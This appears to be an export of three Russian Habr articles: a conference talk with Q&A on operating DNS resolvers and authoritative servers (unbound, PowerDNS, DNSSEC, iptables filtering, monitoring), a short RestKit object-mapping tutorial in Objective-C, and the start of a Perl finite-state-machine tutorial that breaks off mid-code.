Резольвер нужен тем **организациям**, у которых либо нет провайдерского резольвера, либо которым он уже начинает мешать (от вас льется столько запросов, что резольвер не успевает отвечать или же лимитирует вас). От **ЦОД** или **провайдера** в принципе ждут наличия своего производительного резольвера.
Интересный вопрос к размышлению состоит в том, почему в стандартной поставке почти любой операционной системы нет резольвера, который умеет самостоятельно выполнять DNS запросы от корневых серверов. Совершенно непонятно, почему всегда моя машина должна идти к кому-то и просить его выполнить DNS запрос. Как ни странно, коллеги по цеху из FreeBSD ответили, что там есть, что у них из коробки ставится unbound, но в остальных ОС этого нет.
Выбор софта для резольвера
--------------------------
По большому счету, здесь всего 2 варианта:
1. Вы можете использовать **bind**;
2. Вы можете использовать **unbound**.
На самом деле, это почти все, что можно использовать реально для серьезного прода и больших нагрузок. Другие варианты я намеренно не называю, потому что далеко не все сервера отвечают требованиям. Если вы делаете резольвер, то автоматически считайте, что нагрузка у вас будет большая, иначе вы бы его не делали.
В отношении резольвера я не пытаюсь вас склонить к выбору какого-то конкретного софта, потому что на сегодня **резольвер — это в первую очередь некие реализуемые фичи**, а не конкретный софт. Вы можете использовать bind или unbound, или что угодно еще, если оно будет отвечать тем вещам, про которые я сейчас расскажу.
Привет убунтоводам!
-------------------
Если вы любите Ubuntu, как мы, и используете ее в продакшне, вам придется немножко повелосипедить. Как известно, unbound должен стартовать вместе с системой. В 16.04 перешли на systemd, но, естественно, юнит написать забыли. И когда генератор пытается его сгенерировать автоматически из SysV-скрипта, получается полное безобразие. Не вздумайте это выкатывать в продакшн — я это сделал и оставил 30 000 абонентов без DNS на полчаса. Благо, это было ночью.
Пишите юнит! Или **возьмите у меня**, в конце будет адрес репозитория. Это касается только тех, кто с Ubuntu, но, например, в Debian что-то близкое должно быть.
Что должно быть в резольвере?
-----------------------------
5 вещей, которые нужно сделать в своем резольвере.
**1. Никаких форвардов к Яндексу или Google**
Это довольно очевидно, поэтому, пожалуйста, перестаньте так делать. Перенаправлять запросы к Google плохо по двум причинам. Во-первых, вас рано или поздно ограничат по количеству запросов, о чем они заранее предупреждают. Но самое неприятное в том, что **связность неидеальная**.
Иногда бывает, что даже заветные 4 восьмерки недоступны, соответственно, у вас тоже будут проблемы. Абсолютно то же самое касается и Яндекса.
Нет, это не проблема Google или Яндекс, их недоступность обычно связана с тем, что у Вас (или Вашего аплинка) упал до них канал.
**2. SO\_REUSEPORT**
Эта опция реально **ускоряет жизнь**, но требует, чтобы у вас было ядро, как минимум, версии 3.9. Если среди вас есть любители ядер 2.6. (моябабушкаизRedHat), закопайте его, пожалуйста. Опция SO\_REUSEPORT позволяет нескольким процессам одновременно биндить один порт (у них должен быть одинаковый UID, чтобы порт не «угнать»), но ее приятственность в другом — нагрузка распределяется на эти потоки **равномерно**. Для DNS это подходит идеально, и вы на самом деле увидите прирост производительности, просто перейдя на современное ядро.
SO\_REUSEPORT есть и в bind, и в unbound. В bind он включен из коробки, в unbound его надо отдельно включать, потому что unbound пытается быть максимально совместимым, иногда в ущерб производительности.
**3. Prefetch**
Это странная опция. Она действительно помогает в том смысле, что она немножко не уважает TTL. Когда мы идем к авторитетному серверу и спрашиваем у него какую-то запись, у нее есть TTL — это то время, в течение которого к нему можно за обновлением не ходить. Unbound и bind идут за обновленным содержимым этой записи раньше, чем TTL реально истек.
Но есть две особенности. Вы получите **прирост в исходящем трафике** процентов на 10. Хотя на самом деле в целом резольверы с трудом могут генерировать вообще много трафика, поэтому вряд ли это вас будет волновать. Второй момент — **с короткими TTL** (например, в минуту) с Prefetch **никакой особой пользы** не получится, но так как для ru-сегмента короткий TTL пока еще фантастика, в принципе может отлично сработать.
**4. Expired**
Этой опции в bind я не нашел, но в unbound она есть и позволяет возвращать просроченную запись с нулевым TTL, а в фоне пытается получить свежую у авторитетных серверов. Это хорошо **помогает от крупных падений**, например, пользователи могли бы даже и не заметить недавнего падения Dyn, если эта опция была бы массово включена. Но ее не все знают, не все любят и не все включают.
**5. DNSSEC**
DNSSEC есть в 2 разных ипостасях — в простой и в сложной:
* Простой, когда вы просто валидируете запись, если DNSSEC у домена включен.
* Сложной, когда вы сами для своего домена делаете подпись DNSSEC и пр.
В простом варианте оно работает автоматически. Просто, если есть DNSSEC, надо его проверять, и при нарушениях не отдавать результат запроса. На сегодня это важно, потому что TTL записей стремятся к 0, т. е. существует определенная вероятность попытки отравления кэша DNS.
Как вы понимаете, если мы отравим кэш резольвера, все его **клиенты получат отравленную запись**, и можно будет сделать много интересных вещей. Поэтому, пожалуйста, всегда проверяйте DNSSEC, если он есть у домена, в этом нет ничего сложного и это делается автоматически и хорошо.
Зарубежные домены обзавелись DNSSEC уже неплохо, хотя процент там тоже небольшой. При этом многие провайдеры принципиально DNSSEC не проверяют, например, Ростелеком.
За полтора года этой валидации я все ожидал, что кто-нибудь из наших крупных компаний накосячит с DNSSEС, тем самым порвав на британский флаг нашу техподержку, но пока все единичные срабатывания были на зарубежные сайты с небольшим трафиком — все нормально.
Мелочи жизни
------------
**1. Перестаньте отвечать на ANY**
Если вы делаете резольвер, перестаньте отвечать на запросы ANY потому, что это вид запроса, который на самом деле толком не стандартизован и используется на 99% всякими замечательными вирусами.
Чтобы не опускаться до программного уровня, можно использовать iptables, который работает достаточно быстро: если он видит, что запрос ANY, он его просто дропает.
`iptables -A INPUT -p udp --dport 53 -m string --hex-string "|0000ff0001|" --algo bm -j DROP`
**2. Rate-limit**
Используйте ограничение на количество запросов в секунду, если Вы не закрыты извне. Мой резольвер по целому ряду причин пришлось открыть всему миру, поэтому практически первое, что я сделал — это ограничил количество запросов в секунду извне. Если вы не можете закрыть ваш резольвер для клиентов снаружи, то хотя бы лимитируйте их. Лимит поставьте по вкусу, например, у меня 70 запросов в секунду.
`[здесь -j ACCEPT для всех тех, от кого закрываться не надо]
iptables -A INPUT -p udp --dport 53 -m state --state NEW -m recent …
--set --name DNSQF --rsource
--update --seconds 1 --hitcount 70 --name DNSQF --rsource -j DROP`
**3. Для unbound хорошо interface-automatic: yes**
Третья приятная мелочь. Обычно, в сети делается не один резольвер, и иногда хочется делать между ними failover, но, естественно, не при помощи самого резольвера. Надо failover делать методами маршрутизации и у unbound есть отличная опция interface-automatic: yes. Она говорит: «Если запрос ко мне попал в принципе, мне плевать, кому он был предназначен, я отвечу на него». С этой опцией очень удобно, если нужно, на unbound заворачивать трафик соседнего резольвера.
Что мониторить?
---------------
Это типичная картинка с прода. Мы здесь видим, что **количество запросов** достигло 300 000 запросов, и это не в минуту и не в секунду, у меня статистика снимается каждые 5 минут, т. е. на самом деле мелочь.
Таким образом, мониторить количество запросов обязательно нужно, т. к. **если вы не можете их измерять, вы не можете их контролировать**. Еще нужно мониторить **виды запросов**. В примере ниже хорошо видно: бирюзовая полоска — это PTR-запросы, и надо разбираться, почему их так много и откуда они берутся.
Чаще всего их причиной является криво сконфигурированный софт, либо какой-то роутер считает, что ему нужно срочно сделать PTR-запросик пару тысяч раз.
Это делается достаточно просто — вы по cron дергаете статистику unbound, а потом оттуда (мы в Zabbix юзер-параметром) забираете то, что нужно.
**Виды ответов** тоже обязательно надо мониторить. На картинке выше типичный пример DNS Water Torture, т. е. ботнет внутри вашей сети запрашивает несуществующие адреса поддомены атакуемого домена. В результате он получает ответ Nodata (красный цвет), в примере доходило до 25 000 таких запросов в пике.
Цель при этом: заколебать до смерти Name-сервер атакуемого домена, чтобы он устал отвечать и на легитимные запросы. А как только вы начинаете мониторить виды ответов, то **начинаете видеть, насколько внутри вашей сети активны ботнеты**.
Обратите внимание, и количество легитимных запросов подпрыгивает точно также, когда появляется красненькая полоска, т. е. здесь ботнеты увеличивают количество запросов 2 раза.
Другая проблема — что с этим делать потом, но это не сегодняшняя тематика.
### Ваш лучший друг — dnstop
Это очень удобная команда, чтобы понять, кто и что запрашивает, если случилась атака и что-то пошло не так. Обычно, её запускают без параметров, но это неправильно.
`dnstop <интерфейс> -i <наш ip>
Нажимаем на клавиатуре с, а потом цифру 2`
Я специально пишу, что нужно **указывать наш IP адрес**, чтобы не учитывать в статистике запросы самого резольвера, которых будет много. Далее в сочетании это магических кнопок **с** значит выдать детализацию по IP адресам, **2** — детализация до 2-го уровня доменов.
Так можно легко смотреть, кто и куда ходит, и какая атака идет сейчас.
Грабли (делюсь своими)
----------------------
Их много. Как только вы поднимете резольвер, вы столкнетесь с криво настроенными роутерами или софтом. Можете получить тонны PTR запросов. Такое бывает достаточно часто, и вы это будете видеть, сможете исправлять, разбираться и делать вашу сеть лучше. Отдельный момент — это прекрасные **китайские видеорегистраторы**. К ним у меня особая любовь, как и у многих, наверное.
В вашей сети главная проблема в том, что вашим **пользователям на ваши проблемы глубоко наплевать** чаще всего. То есть то, что от пользователя идет паразитный трафик с DNS Water Torture его волнует мало, пока World of Tanks работают.
Сейчас говорили про простейшую вещь — про резольвер, теперь давайте усложним задачку.
Держим зоны
-----------
Итак, мы доросли до того, что у нас есть домены, мы хотим их у себя держать, быть авторитетным за них сервером, отдавать ответы.
Как правило у себя держат зоны либо организации с особыми амбициями: «Мы крутые! Мы зоны лучше держим, чем какой-нибудь Dyn!», либо ЦОДы или провайдеры, от которых этого опять же этого ждут по умолчанию.
Не надо совмещать
-----------------
Первая задача — не надо совмещать. Пожалуйста, не делайте этого никогда! Хотя мы найдем исключение из этого правила. **Совмещать на одной машине резольвер и авторитетный сервер — это плохо** . В чем проблема, я думаю, вы понимаете. Если клиент «увел» домен от вас (т. е. сменил ns-сервера у регистратора) или домен протух (т. е. истек его оплаченный период), Вы об этом вообще не узнаете никак. Потому, что вы можете не внести изменения локально.
У нас были клиенты, которые настолько верили в то, что если сайт открывается изнутри нашей сети, то им и домен продлевать не надо. У них дома наш интернет и на работе наш интернет — везде же открывается, все нормально.
Выбор софта
-----------
Главный момент: не надо думать, что вы здесь выбираете софт. Это ключевая ошибка в головах многих. DNS — это база данных, не пихайте ее в текстовый файл. Очень и очень плохо, если вы при помощи Ansible или chef генерируете текстовый файл, который потом засовываете в bind. Но я знаю — вы это делаете, а потом рассказываете о том, что оно плохо работает.
Поэтому ответ: **PowerDNS**
Вы знаете, что к bind есть патч, чтобы работать с MySQL, да? А вы его пробовали? Многие еще не знают про PowerDNS. Большая часть свято считает, что этот патч можно как-то использовать на старых версиях, но оно будет работать ужасно в плане производительности, потому что это просто набор костылей.
Опять привет убунтуводам
------------------------
Если вы используете Ubuntu, то в стандартных репозиториях 16.04 лежит alpha-версия PowerDNS 4.х. Я не знаю, кому сказать спасибо за это. Она действительно работает, но с проблемками. Уже год, как я открыл к версии 4.х issue #3824. Я спрашиваю у разработчиков PowerDNS:
> – Ребят, а ничего, что я MySQL перезапускаю, а у вас PowerDNS не подхватывает его обратно?
>
> – Ух ты, прикольно!
>
>
Запомните этот баг, они уже 3 раза закрывали и 3 раза открывали в 4-й ветке. Поэтому — есть 3-я стабильная, у нее этих проблем нет, но на Debian / Ubuntu вам понадобится ее ставить из deb-файла. И на сегодня, на март 2018 года она уже небезопасна. Поэтому выход один — переходить на ppa от разработчиков для Вашей версии Ubuntu.
Вдумчивая архитектура
---------------------
Здесь начинается сложная часть статьи — давайте подумаем про архитектуру. Как только мы пришли к PowerDNS, раз это база данных, мы хотим удобный редактор в вебе. А редакторов нет, кроме PowerAdmin. Это веб-приложение на PHP, и сразу понятно, что тому, кто его развернет вместе с DNS-сервером, надо руку отрубить — нельзя его на ту же машину ставить. В итоге возникает задача:
* Есть база данных.
* Есть сервер, который ходит в эту базу данных, чтобы получить ответы.
* Этих серверов несколько.
* Надо **все синхронизировать.**
Естественно, в первую очередь в голову приходит механизм трансфера зон \*XFR, т. е. не важно IXFR или AXFR. Но если вы оставите этот механизм для передачи зон, вы себя запрете. Вы будете продолжать делать master/slave — и так и не уйдете от этих понятий.
Далее, у нас несколько DNS-серверов и необходимо доставлять на них базу данных. Получается, что есть машина с PowerAdmin, с актуальной базой данных, и нужно эту базу данных как-то раскатывать еще на кучу машин.
> – Давайте возьмем, например, репликацию MySQL. Говорят, она прикольно работает!
>
> – Она вам тоже не поможет. Репликация тут не лучший друг.
>
>
Поэтому схема выглядит так.
У вас есть сервер с PowerAdmin и MySQL. С DNS-сервера вы идете туда и делаете mysqldump с опцией skip-extended-insert (мы о ней скоро поговорим) и получаете SQL-файл.
Вы скажете: «Эка невидаль! Что мы, дампов никогда не делали?»
А дальше начинается интересное. Естественно, вы не можете, взяв dump в базе на допустим 700 доменов, загружать его в ту же базу. Поэтому его надо загрузить в соседнюю, а потом сделать RENAME TABLE. Вы спросите — зачем? Это **100% атомарно**. RENAME TABLE — это офигительная штука, которая, как и переименование файла в Linux, **либо отрабатывает, либо нет, у неё нет промежуточного состояния**. Это очень удобно и удобнее, чем транзакция, потому что в разы быстрее. После того, как вы успешно этот dump загрузили, вы этот же файл кладете в git. Поскольку есть опция skip-extended-insert, то файлик получается **git-friendly**, т. е. у него на каждый insert одна строчка, и вы получаете вменяемый diff.
Главное здесь вот что: я хочу иметь возможность видеть diff от результатов «накатывания» базы.
Что получим
-----------
* Это очень простые операции: 225 строк на PHP во имя добра.
* Каждый DNS-сервер это делает каждые 2 минуты. Часы у них синхронизированы, поэтому у вас может быть любое количество серверов — они получат одинаковую базу данных.
* Опция skip-extended-insert позволяет делать не один большой монструозный INSERT, а много маленьких.
Несмотря на это, оно работает очень быстро и весь процесс засасывания нового дампа на 700 доменах занимает еле-еле 15 секунд. Да, время не растет пропорционально. То есть, если завтра у вас будет 1400 доменов, то это будет занимать 18 секунд, окей.
А про понятие **master/slave забудьте**, в данном контексте оно маловажно.
Хьюстон, у нас проблема
-----------------------
Все бы здорово и замечательно, но у нас есть одна проблема. Этот классный подход работает, только если мы для домена, в котором мы это делаем, и master, и slave. Если же это не так, начинаются сложности, которые мы сейчас будем побеждать.
**Давайте переосознаем роль master/slave** еще раз. Master шлет уведомления, как только у него изменилась зона, slave эти уведомления получает и что-то делает, при этом оба они отвечают на запросы.
Есть 2 стула варианта:
----------------------
1. Клиент хочет, чтобы мы держали **у себя slave**. То есть у клиента где-то будет держать master, а мы должны забирать у него данные. Это как раз сложный вариант, который потребует телодвижений.
2. Клиент хочет, чтобы мы держали **у себя master**, а он будет slave, т. е. будет забирать у нас копию. Это простой вариант, мы просто разрешаем трансфер зоны клиенту.
> **Выход** — назначить один из серверов (можно 2 — отдельный разговор) ответственным за прием \*XFR. Это не может делать сервер с PowerAdmin, т. к. там нет DNS-сервера и некому принимать.
Схема выглядит так:
* Один из наших серверов получает \*XFR.
* Вносит изменения в свою базу.
* Вкатывает эти изменения серверу, где стоит PowerAdmin.
У нас может быть 2 роли: просто DNS-сервер, который синхронизируется, а может быть DNS-сервер с ролью slave, который принимает \*XFR, записывает себе в базу данных, и отдает изменения PowerAdmin, выполняя еще один скрипт.
Повторю, что эта схема достаточно простая, работает очень хорошо уже достаточно долго и позволяет полностью отказаться от понятий master и slave вообще в принципе. Мы slave в тех случаях, когда нам нужно им быть, и не более того.
Что мониторить?
---------------
Power DNS — это все-таки отдельный механизм, который надо мониторить. Ниже картинки из Zabbix. Мы снимаем **Latency, т. е. сколько времени занял ответ** в микросекундах, и хорошо видны всплески, если машина была занята или база данных тормозила.
**Протокол**, по которому пришел запрос тоже нужно мониторить. Там не всегда легитимен TCP, за ним тоже надо аккуратно наблюдать. Заодно можно понять, насколько популярен IPv6, здесь это 10% запросов.
**Виды запросов** тоже нужно снимать, тогда вы будете понимать, что происходит, и видеть, например, что запросы вида АААА, то есть адреса в IPv6 в нашей ситуации уже практически равны запросам IPv4.
Обязательно нужно мониторить отправку **SERVFAIL и поломанные пакеты**, причем это удобно делать на одном графике. Если эти два числа совпадают — спите спокойно. Не совпадают — вы увидите.
Взболтать, но не смешивать
--------------------------
Увы иногда приходится использовать связку **PowerDNS + unbound.** К примеру, у вас есть локальный домен с хитрой структурой, которую неудобно настраивать в unbound. Кстати, так работает один из механизмов блокировки сайтов в России. Резольвер вашего провайдера может возвращать для «плохого» домена заглушку, для хорошего — нормальную запись. В корпоративной среде такое применяется, например, для блокировки социальных сетей или защиты от вирусов.
Архитектура
-----------
Архитектура здесь до боли проста — это просто смесь 2 компонентов, о которых мы только что говорили. То есть в свет смотрит PowerDNS, принимает запрос, смотрит в базу, к config-файле которой есть опция отправить запрос дальше вот этому серверу (стоящему на той же машине unbound), если чего-то нет в самой базе. Единственная особенность, что в рамках мониторинга мы на эту машину настраиваем template Zabbix 2 раза и картинок становится в 2 раза больше.
### Контакты
» Код репозитория — <https://github.com/maniaque/rootconf2017>
» Почта — [nikolaev@kasatkina.org](mailto:nikolaev@kasatkina.org)
» Telegram — [@maniaque\_ru](https://t.me/maniaque_ru)
**Ответы и вопросы**
**— Хотелось бы услышать Ваш совет, каким образом можно фильтровать до сервера запросы определенных типов. Например, я хочу полностью отрезать IPv4 все запросы, чтобы они не доходили до сервера вообще.**
— Эти опции есть и в PowerDNS, и в unbound. Еще есть вариант, используя IPtables, вы можете с помощью hex match выдергивать кусочек, смотреть, что там за запросы и просто их дропать полностью. Еще один вариант. Существуют различные DNS-прокси, причем даже авторы PowerDNS тоже выпускают свой резольвер, который поддерживает скрипты на Lua. Вы можете туда подсунуть свой скрипт, который будет делать любую кастомную магию. Есть для этого разные средства. Все зависит от того, что у вас за задача.
**— Скажите, Вы у себя на сети внедрили блокировку запрещенных сайтов с помощью DNS? Статистика примерная есть?**
Скажу так, и ее тоже. Много ли блокируется? Понятно, что блокировка через DNS — это от домохозяек. Понятно, что никто не мешает абоненту взять и вбить DNS Google. Честно скажу, мы не смотрим на нее, но в принципе, что-то туда падает.
**— А по отчетам ревизоров заметны изменения после внедрения блокировки DNS?**
Да. Для ревизора это отличный способ. Имейте это в виду.
**— Вы своим клиентам, которые пользуются вашим DNS, даете IP адреса? Вы обеспечиваете доступность этих адресов, и каким образом?**
Давайте коротенечко расскажу, как это работает. Вы же помните, что мы там вводим 2 адреса. Знаете, как смешно там работает failover. Смотрите, Windows и Linux ведут себя по-разному. Windows при недоступности первого переключается на второй и раз в 15 минут пытается по-прежнему тыркать первый и по возможности переключается на него. Linux этого не делает.
Во-первых, что надо понимать? Что failover средствами операционной системы не униформен и плох. Соответственно, ваша задача, чтобы оба IP, которые вы отдаете, как резольверы, светились всегда и работали. Поскольку мы это делаем с помощью маршрутизации, у каждого из наших серверов дополнительными IP к интерфейсу прописаны адреса его друганов. У нас их используется 3 и пока хватает.
При помощи маршрутизации мы туда направляем трафик. Поскольку в unbound мы используем опцию «отвечать на всех интерфейсах», он отлично отвечает, и ему никаких дополнительных манипуляций не надо.
**— У Вас была табличка по передаче MySQL dump от серверов друг к другу. Вы говорили, что у вас получился не master/slave и master/master. То есть, грубо говоря, вы меняете всегда зону на одном из серверов и перекидываете на другой и split-brain не может получиться в этом случае?**
Нет, split-brain возможен. Вообще каждый сервер раз в 2 минуты бежит делает dump и закидывает его к себе. Но если у него это не получилось, то мы наблюдаем а-ля split-brain, у него старая версия базы.
Но здесь нам помогает следующее. Если он не смог этого сделать, скорее всего, у него нет связанности. Если нет связанности, то значит, клиенты до него тоже не доберутся, и проблема не возникнет. Как только у него появится связанность он очень быстро получит новую копию.
**— Нет, split-brain в том смысле, что вы на одном из серверов изменили запись, а на другом нет.**
Смотрите, на самих DNS-серверах ничего не изменяется. Изменяется в одном месте, где PowerAdmin, а оттуда раскатывается на все остальные. Соответственно, такого не может быть, что мы забыли базу поменять где-то в другом месте. Мы как раз это и делали, чтобы так не было никогда.
Это была одна из наших проблем, когда был bind с текстовыми файлами. Было клево поменять зону в одном месте, потом забыть изменить серийник, а она XFR’ом на второй не перетекала. Это была наша боль, которую мы этим тоже устраняли.
**— А еще есть какая-нибудь статистика по тому, когда перестать пользоваться XFR…**
XFR — это механизм, который был придуман в условиях плохой связанности. Условно говоря, XFR, особенно инкрементальный XFR, придуман, чтобы полосу экономить. Но в современных реалиях полоса DNS сервера 5 Мб/с, больше он не ест. Поэтому, на мой взгляд, сейчас XFR — это механизм так себе. Поэтому я бы, в принципе, не рекомендовал смотреть в его сторону. Ребята из Power DNS в документации так и пишут, что если вы можете бэкенд как-то реплицировать без XFR и прочего, сделайте это. В нашем случае получилось здорово.
**— Когда Вы рассказывали про ситуацию настройки авторитетного сервера, сказали, что якобы про репликацию Master/slave надо забыть, и мы отдаем на один сервер одинаковую конфигурацию со всего. В такой ситуации в SOA записи у нас есть какой-то ns сервер. А ns записей сколько получается? То есть, не будет ли такого, поскольку существуют разные чекеры DNS сервисов, правильно он настроен или нет, он будет ругаться типа: «У тебя 1 ns сервер, это очень плохо!» и т.д. Или мы сделаем одну ns запись несколькими IP’шниками?**
Несколько записей, если быть правильным. В нашей ситуации, если клиент приходит к нам с доменом, то мы в качестве ns прописываем один, два — хотите, третий дорисую, четвертый, пятый. Ns может быть огромное количество — любое. У вас на все из них будут литься запросы равномерно.
**— У меня легкие уточнения по поводу PowerDNS и изменения зоны. В 4-й версии есть PDNSutil edit. Он берет из базы зону, представляет ее в текстовом классическом виде. Говоришь save — он ее загружает обратно.**
**По поводу исправления issue — я месяц назад разговаривал с разработчиками PowerDNS — они очень мало притрагиваются сейчас к авторитетному серверу. У них все усилия брошены на DNS dist и recursor. Поэтому если хочется запатчить, лучше самому. В ближайший год они, похоже, ничего там делать не будут.**
Меня 3-я версия устраивает. 4-ю я видел только потому, что она в 16.4 по дефолту приезжает. Это было из разряда «О, что есть!»
**— Последнее. Как раз в сентябре будет меняться DNSSEC ключ на корнях, не забудьте обновить!**
Спасибо.
**— Вы говорили, что нельзя использовать форвардинг, нужно использовать рекурсивный резолвинг. У меня возник такой вопрос, а если все начнут использовать рекурсивные DNS — корневых серверов как бы мало?**
Протокол DNS придуман так, что вы к корневым серверам будете ходить очень редко. Корневые сервера условно держат сейчас уже много Top Level Domain, но посмотрите TTL — там он огромный. Вы туда будете ходить очень редко — раз в месяц сходите, и после этого не будете.
**— Вы имеете в виду, что наш резольвер отрезольвит ns из зоны.ru и будет уже ходить только к ним?**
Конечно. Пока TTL не истечет, он туда ходить не будет. Я же еще раз говорю — вопрос к размышлению. Это же точка отказа. Есть у меня клиент, и у него в настройках сетевого адаптера какие-то DNS сервера. Но они не обязаны никому работать. Можно было софтово включить поддержку этого дела в ОС. Представляете, какой бы пласт проблем это сняло: отравление кэшей, например. Многие вещи просто перестали бы иметь смысл.
То есть злоумышленнику сейчас резольвер — лакомый кусок для атаки потому, что «отравлю ему кэш — отравлю кэш толпе!» Это плохо, неправильно и так не должно быть. Чтобы это решить, надо просто всунуть резольвер в коробку в ОС. Я не понимаю, почему до сих пор никто этого не делает. Это не настолько сложно.
**— У Ubuntu, кажется, dnsmasq в коробке есть.**
Нет, там плохо все, поверьте. dnsmasq вообще плохо. Но дело даже не в этом. Он есть только в FreeBSD, там есть unbound, он на local-хвосте висит и работает. Но процент пользователей FreeBSD — это отдельный разговор.
> Умеете больше, выше, сильнее — программный комитет **RootConf** в составе [РИТ++](http://ritfest.ru/) ждет ваших [заявок](http://speakers.ritfest.ru/) до **9 апреля**. Также, как и рассказов о собственных граблях и шишках во всем спектре тем, касающихся поддержки и эксплуатации ИТ-проектов. | https://habr.com/ru/post/350550/ | null | ru | null |
# RestKit — описание одной из возможностей
Привет Хабр!
#### Предыстория
Давно заметил, что на хабре нет ни одной статьи о такой замечательной библиотеке как [RestKit](http://restkit.org/), написанной на Objective-C и предоставляющая прекрасные возможности для работы с [RESTful](http://ru.wikipedia.org/wiki/REST)-сервисами. Поэтому и пришла идея опубликовать краткое описание некоторых возможностей библиотеки, тем более что уже вышла совершенно новая её версия использующая за основу [AFNetworking](https://github.com/AFNetworking/AFNetworking) библиотеку для работы с HTTP. В статье описывается одна из важнейших для меня функциональностей — маппинг объектов.
Процесс установки библиотеки подробно описан на на [странице](https://github.com/RestKit/RestKit/wiki/Installing-RestKit-v0.20.x-as-a-Git-Submodule) проекта на GitHub'е. Так же библиотека доступка в Pod'ах:
```
$ cat Podfile
platform :ios, '5.0'
pod 'RestKit', '~> 0.20.0pre'
```
#### Приступим к делу
Обойдёмся без теории, ибо статья всё-таки для тех, кто понимает, хотя бы, что такое REST и зачем он нужен.
#### Инициализация
При старте приложения необходимо установить начальные параметры для синглтонов работающих с HTTP и занимающихся мапингом объектов:
```
NSURL *baseURL = [NSURL URLWithString:kServerHost];
AFHTTPClient* client = [[AFHTTPClient alloc] initWithBaseURL:baseURL];
RKObjectManager *objectManager = [[RKObjectManager alloc] initWithHTTPClient:client];
[RKObjectManager setSharedManager:objectManager];
```
##### Маппинг объектов
Для начала нам необходимо описать класс в котором будут храниться данные (куда будут мапиться):
```
@interface TaskListSuccess : NSObject
@property(nonatomic, copy) NSString *created_at;
@property(nonatomic, copy) NSString *updated_at;
@property(nonatomic, copy) NSString *user_id;
@property(nonatomic, copy) NSString *ID;
@property(nonatomic, copy) NSString *title;
@property(nonatomic, copy) NSString *time;
@end
```
Далее необходимо добавить правило для ответов по каким запросам будет использоваться данный класс и по какому правилу мапятся объекты:
```
RKObjectMapping* successAuthResult = [RKObjectMapping mappingForClass:[TaskListSuccess class]];
[successAuthResult addAttributeMappingsFromDictionary:@{
// задаются ассоциации полей JSON(XML) к параметрам класса
@"created_at": @"created_at",
@"updated_at": @"updated_at",
@"user_id": @"user_id",
@"id": @"ID",
@"title": @"title",
@"time": @"time",
}];
// Набор статус-кодов, при которых запрос является успешно выполненым.
NSIndexSet *successStatusCodes = RKStatusCodeIndexSetForClass(RKStatusCodeClassSuccessful);
RKResponseDescriptor
*responseDescriptor = [RKResponseDescriptor responseDescriptorWithMapping:successAuthResult
pathPattern:@"tasks"
keyPath:nil
statusCodes:successStatusCodes];
[[RKObjectManager sharedManager] addResponseDescriptor:responseDescriptor];
```
Параметр pathPattern класса RKResponseDescriptor описывает шаблон пути, для маппинга которого будет использоваться наш класс.
Далее необходимо отправить сам запрос:
```
RKObjectManager *objectManager = [RKObjectManager sharedManager];
[objectManager getObject:nil
path:@"tasks"
parameters:nil
success:^(RKObjectRequestOperation *operation, RKMappingResult *mappingResult) {
//Тут происходит обработка данных
...
} failure:^(RKObjectRequestOperation *operation, NSError *error) {
//Тут необходимо обрабатывать ошибки
...
}];
```
Это простейший запрос, иногда нам необходимо больше гибкости в настройке запроса, тогда делать можно, например, следующим образом:
```
RKObjectManager *objectManager = [RKObjectManager sharedManager];
NSMutableURLRequest *urlRequest = [objectManager requestWithObject:nil
method:RKRequestMethodPOST
path:@"tasks"
parameters:nil];
[urlRequest setValue:@"application/x-www-form-urlencoded" forHTTPHeaderField:@"Content-Type"];
RKObjectRequestOperation *operation = [objectManager objectRequestOperationWithRequest:urlRequest
success:^(RKObjectRequestOperation *operation, RKMappingResult *mappingResult) {
//Тут происходит обработка данных
...
} failure:^(RKObjectRequestOperation *operation, NSError *error) {
//Тут необходимо обрабатывать ошибки
...
}];
[objectManager enqueueObjectRequestOperation:operation];
```
Объект класса RKObjectRequestOperation содежит все возможные параметры, которые мы можем устанавливать как нам угодно.
#### Outro
Статья ознакомительная и направлена на то, что бы понять актуально ли описывать эту библиотеку далее, тем более, что есть очень хорошая документация на английском языке. В общем, если данная тема интересует, то можно будет к ней вернуться и описать другие возможности библотеки, а так же рассказать о личных шишках, набитых во время её использования.
Стоит ли описывать библиотеку далее?
Возможности: * работа с CoreData
* работа с многостараничными запросами (пагинация)
* более сложны маппинг с использование нескольких сущностей в одном запросе
* и др.
Всего доброго! Мир! | https://habr.com/ru/post/172233/ | null | ru | null |
# Конечные автоматы. Пишем ДКА
Если вы когда-нибудь пытались написать своего бота, программу-переговорщик (negotiator), интерпретатор протокола связи и тому подобные вещи, то наверняка сталкивались с конечными автоматами. Данная тема в принципе не представляет большой сложности, но если вдруг у вас не было курса «теории автоматов», милости прошу под кат.
Сегодня мы попытаемся создать простой детерминированный конечный автомат. Мне вдруг захотелось написать его на Perl'е, но так как мы не будем использовать никаких специфических трюков, перенести общую концепцию на любой другой императивный язык не составит большого труда.
#### Введение
Не будем сильно углубятся в теорию, для этого есть специальная литература, гугл и википедия ;). Рассмотрим самую базу. Давайте разберемся что такое конечный автомат.
В электронике, да и в программировании, в простейшем случае мы имеем дело с так называемыми «переключательными функциями». Это относительно примитивная абстракция не имеющая собственной памяти: мы на вход аргумент, она на выход некое значение. Выходное значение всегда зависит только от входного.
А если нам необходимо, чтобы последующее значение функции зависело от предыдущего? От нескольких предыдущих? Тут мы уже приходим к некой абстракции с собственной памятью. Это и будет автомат. Выходное значение на автомате зависит от значения на входе и текущего состояния автомата.
Конечный автомат соответственно потому так называется, что число его внутренних состояний конечно. А, наверное, самым простейшим из конечных автоматов является детерминированный: для каждого входного сигнала существует лишь одно состояние, в которое автомат может перейти из текущего.
Таким образом, наш автомат определяется следующим:
* начальным состоянием;
* входным алфавитом (набором возможных входных сигналов);
* множеством состояний;
* и таблицей переходов.
Собственно вся суть автомата определяется последним пунктом. Таблица переходов (также изображается как диаграмма переходов) состоит из 3-х столбцов: входной сигнал (символ), текущее состояние, следующее состояние. Все станет ясно на примере.
#### Базовый класс
Итак, реализуем наш базовый класс. Мы уже определились, что нам нужно начальное состояние, текущее состояние и таблица переходов. Алфавит входных символов определяется задачей, поэтому также нам потребуется нормализация (упрощение) ввода. Роль выходных сигналов будут выполнять исполняемые методы класса потомка. Для упрощения себе жизни, искусственно добавим в алфавит символ "\*" — любой другой символ.
```
package FSM;
use strict;
use Carp;
use vars qw($AUTOLOAD);
# Create new object
sub new {
my $self = {};
my ($proto, $initial) = @_;
my $class = ref($proto) || $proto;
# Init ourselves
$self->{INITIAL} = $initial;
$self->{CURRENT} = $initial;
$self->{STATES} = {};
bless ($self, $class);
return $self;
}
sub setInitialState {
my ($self, $initial) = @_;
$self->{INITIAL} = $initial;
return $self;
}
sub setCurrentState {
